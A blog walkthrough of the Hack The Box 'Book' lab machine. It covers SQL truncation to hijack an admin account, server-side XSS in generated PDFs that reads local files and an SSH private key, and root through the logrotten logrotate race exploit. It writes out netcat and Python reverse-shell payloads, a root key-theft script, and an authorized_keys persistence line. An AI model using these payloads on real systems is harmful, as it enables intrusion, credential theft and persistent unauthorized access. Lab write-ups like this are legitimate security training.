Jack Cyber-security graduate student interested in researching privacy and security issues.

Hack The Box - Book [Medium Linux]

Hack The Box - Book [Medium Linux]

Overview

This machine was tricky and tested my patients on multiple occations. Overall I really did enjoy it, the two web application exploits were unique, creative and something I have never seen before. The initial foothold required you to make use of multiple edpoints hosted by the webapp. Rooting the machine was a little less fun as I struggled a bit with getting logrotten to work correctly.

Initial Enumeration

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
kali@kali:~$ nmap -sC -sV -p- 10.10.10.176
Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-11 12:02 EDT
Nmap scan report for 10.10.10.176
Host is up (0.044s latency).
Not shown: 65522 closed ports
PORT      STATE    SERVICE VERSION
22/tcp    open     ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 f7:fc:57:99:f6:82:e0:03:d6:03:bc:09:43:01:55:b7 (RSA)
|   256 a3:e5:d1:74:c4:8a:e8:c8:52:c7:17:83:4a:54:31:bd (ECDSA)
|_  256 e3:62:68:72:e2:c0:ae:46:67:3d:cb:46:bf:69:b9:6a (ED25519)
80/tcp    open     http    Apache httpd 2.4.29 ((Ubuntu))
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: LIBRARY - Read | Learn | Have Fun
3099/tcp  filtered chmd
3453/tcp  filtered pscupd
12262/tcp filtered unknown
12806/tcp filtered unknown
15520/tcp filtered unknown
15600/tcp filtered unknown
17490/tcp filtered unknown
37281/tcp filtered unknown
40785/tcp filtered unknown
45133/tcp filtered unknown
48903/tcp filtered unknown
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

First I start off by using nmap to scan the ip address and see which services are running. We can see ssh, http and a bunch of uncommon ports.

Investigating the web-app

../assets/images/Book/Untitled.png The easiest first step is to see what the website looks like and if there is any interesting functionality. The first thing we see is a simple sign-in page and a link to a sign-up page.

  • Made a test user and logged in
  • There is an images/ dir

../assets/images/Book/Untitled%201.png

../assets/images/Book/Untitled%202.png

  • Found a file upload. I could maybe upload a malicious file if there isn’t proper sanitization.

../assets/images/Book/Untitled%203.png

Email Address admin@book.htb

../assets/images/Book/Untitled%204.png

  • When going to download a book it uses a file GET parameter which could be vulnerable to path traversal

Using gobuster to find more endpoints

../assets/images/Book/Untitled%205.png

/admin seems interesting…

../assets/images/Book/Untitled%206.png

  • Found an admin panel

Noticing strange PDF files in /docs

This was kindof a rabbit hole since I was not supposed to find these files. They will be useful later on in the box.

../assets/images/Book/Untitled%207.png

../assets/images/Book/Untitled%208.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
kali@kali:~/Desktop/Tools$ ./gobuster dir -u http://book.htb/docs -w /home/kali/Desktop/nums.txt -x .pdf -t 50
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://book.htb/docs
[+] Threads:        50
[+] Wordlist:       /home/kali/Desktop/nums.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Extensions:     pdf
[+] Timeout:        10s
===============================================================
2020/06/17 15:17:13 Starting gobuster
===============================================================
/1.pdf (Status: 200)
/3.pdf (Status: 200)
/2.pdf (Status: 200)
/328.pdf (Status: 200)
/4.pdf (Status: 200)
/1127.pdf (Status: 200)
/4748.pdf (Status: 200)
/6062.pdf (Status: 200)
/7302.pdf (Status: 200)
/12749.pdf (Status: 200)
/15474.pdf (Status: 200)
/19428.pdf (Status: 200)
/21937.pdf (Status: 200)
/22173.pdf (Status: 200)
/28727.pdf (Status: 200)
/29534.pdf (Status: 200)
/29795.pdf (Status: 200)
/31235.pdf (Status: 200)
/32402.pdf (Status: 200)
/33700.pdf (Status: 200)
/36278.pdf (Status: 200)
/40361.pdf (Status: 200)
/43505.pdf (Status: 200)
/43744.pdf (Status: 200)
/48180.pdf (Status: 200)
/53628.pdf (Status: 200)
/55141.pdf (Status: 200)
/56114.pdf (Status: 200)
/68431.pdf (Status: 200)
/69326.pdf (Status: 200)
/71595.pdf (Status: 200)
/78894.pdf (Status: 200)
/91775.pdf (Status: 200)
/92261.pdf (Status: 200)
/93715.pdf (Status: 200)
===============================================================
2020/06/17 15:18:57 Finished
===============================================================
  • Used wget -i to download all of the files

../assets/images/Book/Untitled%209.png

  • Here we can see one of the PDF’s has the uploads and the other has the database of users

Searching online for attacks

SQL Truncation Attack

MySQL and SQL Column Truncation Vulnerabilities

../assets/images/Book/Untitled%2010.png

  • The webapp won’t let you submit this since it doesn’t see the email as valid due to some javascript.
  • But you can easily do it in burp

../assets/images/Book/Untitled%2011.png

  • You can see we have the email address with spaces URL encoded and sent to the server.
  • Since we know the admin account uses admin@book.htb we can register admin@book.htb ninja and due to the spaces the last part will be cut off and stored in the database.

../assets/images/Book/Untitled%2012.png

  • We can now sign in to /admin as admin using the credentials we registered!

../assets/images/Book/Untitled%2013.png

../assets/images/Book/Untitled%2014.png

  • It didn’t work for a few times I’m not sure why
  • I just kept resending the packet to make the account and logging into the normal panel and then admin panel

PDF XSS Vulnerability

Local File Read via XSS in Dynamically Generated PDF

<script>x=new XMLHttpRequest;x.onload=function(){document.write(this.responseText)};x.open("GET","file:///etc/passwd");x.send();</script>

../assets/images/Book/Untitled%2015.png

  • Put the javascript inside the Title and Author metadata spots and upload any pdf

Once uploaded go back to the admin panel and view the collections pdf

  • It will be executed server side and then available for you to download. The rendering on the server side has a security flaw that allows javascript to be executed.
    • We can take advantage of this to read local files.

../assets/images/Book/Untitled%2016.png

/etc/passwd

There is a user named reader

Trying to download interesting files

  • From my gobuster results above I found a file called db.php my guess is that there are credentials inside that I can use to authenticate.

  • I believe this to be a rabbit hole or I am doing something wrong, since it returns a blank file and when I give a known bad file that doesn’t exist it just returns the normal pdf.

../assets/images/Book/Untitled%2017.png

  • This is what happened when I tried to use

<script>x=new XMLHttpRequest;x.onload=function(){document.write(this.responseText)};x.open("GET","file:///var/www/html/index.php");x.send();</script>

Query returned from index.php

1
2
3
4
5
6
prepare("select email from users where email=?");`
$stmt-bind_param('s',$_POST["email"]);`
$stmt->execute();
$result = $stmt-get_result();
$num_rows=$result->num_rows;
if($num_rows > 0) {echo '
  • Not sure why it got cut off

Downloading /admin/collections.php

<script>x=new XMLHttpRequest;x.onload=function(){document.write(this.responseText)};x.open("GET","file:///var/www/html/admin/collections.php");x.send();</script>

../assets/images/Book/Untitled%2018.png

Raw response

Response split by ;

<script>x=new XMLHttpRequest;x.onload=function(){document.write(this.responseText)};x.open("GET","file:///var/www/html/contact.php");x.send();</script>

Searching Online

Server Side XSS (Dynamic PDF)

1
2
3
4
5
6
7
8
9
10
11
12
<script>
const checkPort = (port) => {
    fetch(`http://localhost:${port}`, { mode: "no-cors" }).then(() => {
        let img = document.createElement("img");
        img.src = `http://10.10.15.33:8000/ping?port=${port}`;
    });
}

for(let i=0; i<1000; i++) {
    checkPort(i);
}
</script>

Getting a shell

  • Since we know from before that there is a user named reader we should be able to grab his private key from his home directory.

<script>x=new XMLHttpRequest;x.onload=function(){document.write(this.responseText)};x.open("GET","file:///home/reader/.ssh/id_rsa");x.send();</script>

../assets/images/Book/Untitled%2019.png

../assets/images/Book/Untitled%2020.png

  • Instead of trying to copy and paste just use pdftotext

../assets/images/Book/Untitled%2021.png

  • Didn’t work not the full private key

Modifying the payload to get the full private key

../assets/images/Book/Untitled%2022.png

<script>x=new XMLHttpRequest;x.onload=function(){document.write(this.responseText.fontsize(1))};x.open("GET","file:///home/reader/.ssh/id_rsa");x.send();</script>

  • Changing the font size to 1 so it fits on the screen

id_rsa

../assets/images/Book/Untitled%2023.png

../assets/images/Book/Untitled%2024.png

  • db.php is not blank
  • username: book_admin
  • Password: I_Hate_Book_Reading

Looking at the database

1
2
3
4
5
6
7
8
9
10
+-----------+------------------+-------------+-------------+-------------+-------------+-------------+-----------+-------------+---------------+--------------+-----------+------------+-----------------+------------+------------+--------------+------------+-----------------------+------------------+--------------+-----------------+------------------+------------------+----------------+---------------------+--------------------+------------------+------------+--------------+------------------------+----------+------------+-------------+--------------+---------------+-------------+-----------------+----------------------+-----------------------+-------------------------------------------+------------------+-----------------------+-------------------+----------------+
| Host      | User             | Select_priv | Insert_priv | Update_priv | Delete_priv | Create_priv | Drop_priv | Reload_priv | Shutdown_priv | Process_priv | File_priv | Grant_priv | References_priv | Index_priv | Alter_priv | Show_db_priv | Super_priv | Create_tmp_table_priv | Lock_tables_priv | Execute_priv | Repl_slave_priv | Repl_client_priv | Create_view_priv | Show_view_priv | Create_routine_priv | Alter_routine_priv | Create_user_priv | Event_priv | Trigger_priv | Create_tablespace_priv | ssl_type | ssl_cipher | x509_issuer | x509_subject | max_questions | max_updates | max_connections | max_user_connections | plugin                | authentication_string                     | password_expired | password_last_changed | password_lifetime | account_locked |
+-----------+------------------+-------------+-------------+-------------+-------------+-------------+-----------+-------------+---------------+--------------+-----------+------------+-----------------+------------+------------+--------------+------------+-----------------------+------------------+--------------+-----------------+------------------+------------------+----------------+---------------------+--------------------+------------------+------------+--------------+------------------------+----------+------------+-------------+--------------+---------------+-------------+-----------------+----------------------+-----------------------+-------------------------------------------+------------------+-----------------------+-------------------+----------------+
| localhost | root             | Y           | Y           | Y           | Y           | Y           | Y         | Y           | Y             | Y            | Y         | Y          | Y               | Y          | Y          | Y            | Y          | Y                     | Y                | Y            | Y               | Y                | Y                | Y              | Y                   | Y                  | Y                | Y          | Y            | Y                      |          |            |             |              |             0 |           0 |               0 |                    0 | auth_socket           |                                           | N                | 2019-11-21 03:22:45   |              NULL | N              |
| localhost | mysql.session    | N           | N           | N           | N           | N           | N         | N           | N             | N            | N         | N          | N               | N          | N          | N            | Y          | N                     | N                | N            | N               | N                | N                | N              | N                   | N                  | N                | N          | N            | N                      |          |            |             |              |             0 |           0 |               0 |                    0 | mysql_native_password | *THISISNOTAVALIDPASSWORDTHATCANBEUSEDHERE | N                | 2019-11-21 03:22:46   |              NULL | Y              |
| localhost | mysql.sys        | N           | N           | N           | N           | N           | N         | N           | N             | N            | N         | N          | N               | N          | N          | N            | N          | N                     | N                | N            | N               | N                | N                | N              | N                   | N                  | N                | N          | N            | N                      |          |            |             |              |             0 |           0 |               0 |                    0 | mysql_native_password | *THISISNOTAVALIDPASSWORDTHATCANBEUSEDHERE | N                | 2019-11-21 03:22:46   |              NULL | Y              |
| localhost | debian-sys-maint | Y           | Y           | Y           | Y           | Y           | Y         | Y           | Y             | Y            | Y         | Y          | Y               | Y          | Y          | Y            | Y          | Y                     | Y                | Y            | Y               | Y                | Y                | Y              | Y                   | Y                  | Y                | Y          | Y            | Y                      |          |            |             |              |             0 |           0 |               0 |                    0 | mysql_native_password | *DE7DCF8C718B1F4C0FC26B9F15A62549A1DA9647 | N                | 2019-11-21 03:22:47   |              NULL | N              |
| localhost | book_admin       | Y           | Y           | Y           | Y           | Y           | Y         | Y           | Y             | Y            | N         | N          | Y               | Y          | Y          | Y            | Y          | Y                     | Y                | Y            | Y               | Y                | Y                | Y              | Y                   | Y                  | Y                | Y          | Y            | Y                      |          |            |             |              |             0 |           0 |               0 |                    0 | mysql_native_password | *C371EAC067D78A584431D344FF76988FAFF243E6 | N                | 2019-11-21 03:24:24   |              NULL | N              |
+-----------+------------------+-------------+-------------+-------------+-------------+-------------+-----------+-------------+---------------+--------------+-----------+------------+-----------------+------------+------------+--------------+------------+-----------------------+------------------+--------------+-----------------+------------------+------------------+----------------+---------------------+--------------------+------------------+------------+--------------+------------------------+----------+------------+-------------+--------------+---------------+-------------+-----------------+----------------------+-----------------------+-------------------------------------------+------------------+-----------------------+-------------------+----------------+
5 rows in set (0.00 sec)

Root PrivEsc

../assets/images/Book/Untitled%2025.png

  • Looks like only the mysql server is listening on localhost

../assets/images/Book/Untitled%2026.png

  • Might be interesting to look at later

../assets/images/Book/Untitled%2027.png

  • Very strange bash file in /usr/bin

../assets/images/Book/Untitled%2028.png

/usr/bin/gettext.sh

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#! /bin/sh
#
# Copyright (C) 2003, 2005-2007, 2011, 2015-2016 Free Software Foundation, Inc.
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU Lesser General Public License as published by
# the Free Software Foundation; either version 2.1 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU Lesser General Public License for more details.
#
# You should have received a copy of the GNU Lesser General Public License
# along with this program.  If not, see <http://www.gnu.org/licenses/>.
#
# Find a way to echo strings without interpreting backslash.
if test "X`(echo '\t') 2>/dev/null`" = 'X\t'; then
  echo='echo'
else
  if test "X`(printf '%s\n' '\t') 2>/dev/null`" = 'X\t'; then
    echo='printf %s\n'
  else
    echo_func () {
      cat <<EOT
$*
EOT
    }
    echo='echo_func'
  fi
fi

...snip...
  • I’m not exactly sure what this is but I don’t believe it is what I need.

Log Rotate

../assets/images/Book/Untitled%2029.png

Logrotate - How to Rotate and Compress logs

https://yewtu.be/embed/SI3rHpVXrdc?dark_mode=true&autoplay=1

Searching Online

Logrotate 3.15.1 Privilege Escalation

whotwagner/logrotten

Abusing a race condition in logrotate to elevate privileges

Best Article

Details of a logrotate race-condition

Simple payload

1
2
3
echo "if [ id -u -eq 0 ]; then (/bin/nc -e /bin/bash localhost 3333 &); fi" > payloadfile
/tmp/.a/logrotten -p /tmp/.a/payloadfile /home/reader/backups/access.log
head -c 50M < /dev/urandom > access.log

../assets/images/Book/Untitled%2030.png

Getting Root

../assets/images/Book/Untitled%2031.png

Get this file onto the box

gcc -o logrotten logrotten.c

  • Compile the code
1
2
3
echo "if [ `id -u` -eq 0 ]; then (cat /root/.ssh/id_rsa > /tmp/.getroot/id_rsa && chmod 777 /tmp/.getroot/id_rsa &); fi" > payloadfile

echo "if [ `id -u` -eq 0 ]; then (python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.15.33",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'); fi" > payloadfile
  • Create the payload

nc -lvnp 1234

  • Create the listener on the attacker machine

cd /home/reader/backups

  • Change directories to the log directory that you have control over

/tmp/.getroot/logrotten -p /tmp/.getroot/payloadfile /home/reader/backups/access.log

Run it!

for ((;;));do ./logrotten -p ./payload /home/reader/backups/access.log; sleep 30; done

  • Call the exploit, provide the payload and give it the log file

../assets/images/Book/Untitled%2032.png

  • Now its waiting for that log file to change

../assets/images/Book/Untitled%2033.png

for ((;;));do head -c 50M < /dev/urandom > access.log; sleep 5; done

  • In another terminal append to the log

../assets/images/Book/Untitled%2034.png

../assets/images/Book/Untitled%2035.png

  • Inside /etc/bash_completion.d you will see that access.log
  • Now wait about a minute for the root user to log in and the payload to be executed

Alternative way

3 step upload nc, chmod +x nc, then a simple nc reverse shell - as an exercise

1
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.xx",2222));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

If you get reverse shell you’ll only have a 10-15 seconds (on this box)

for persistence: preparing a key to drop into root is a good idea (as soon as I got shell I just pasted and hit return - then came back in via ssh as root)…

1
echo -n 'ssh-rsa AAAAB3NgaC1yc2EAAAADAQABAAABgQDmexYCjdg0hkFPs/NgBzLQNZHMRBYk3q+PY6zFAdDmPeUS9jWZEuqhNujvEGmg8hY40Tm4irfQtszYMw9euWh4T9nGmGl+/0VqKuX80nq7phngHLo/zO9R3eKApyTwEhnS4+GYugVhQE13UMu3y0oaYhYW0gW8vsc7J33pm7kULd6k6MvNeiaBUBVaHPCkL2aXlG7BcDcw35PQdgEV3oNf1bZT2D8TqaW5RBtn+4DblIfb0o6lM1OMxwO+VuWQlUSwwiFQ019LIZ22OD8LvJQ9VzsBHLrfslNdK9CPvpiUGztiUKKD4GJgDYvK8OaE9bpQCvlrIFWS4mGm4crHv91Z3LOTBtOZKrgGAGQizbMJJ5/VYRLPbDvTlThvtUVlxUGewOmeBZCvpgAM+SGb8XiRiSnQgeK4sjHsh4MeR/IkWn/38/mWNCSEpTxQzgYEUFZQU/v6pK82kxlhlylwf1tFQn2jxt5LXV1pLQug8lz5XMoFDQ8nrLxl19Lk26KaQqU= kali@kali' >> ~/.ssh/authorized_keys
Rating: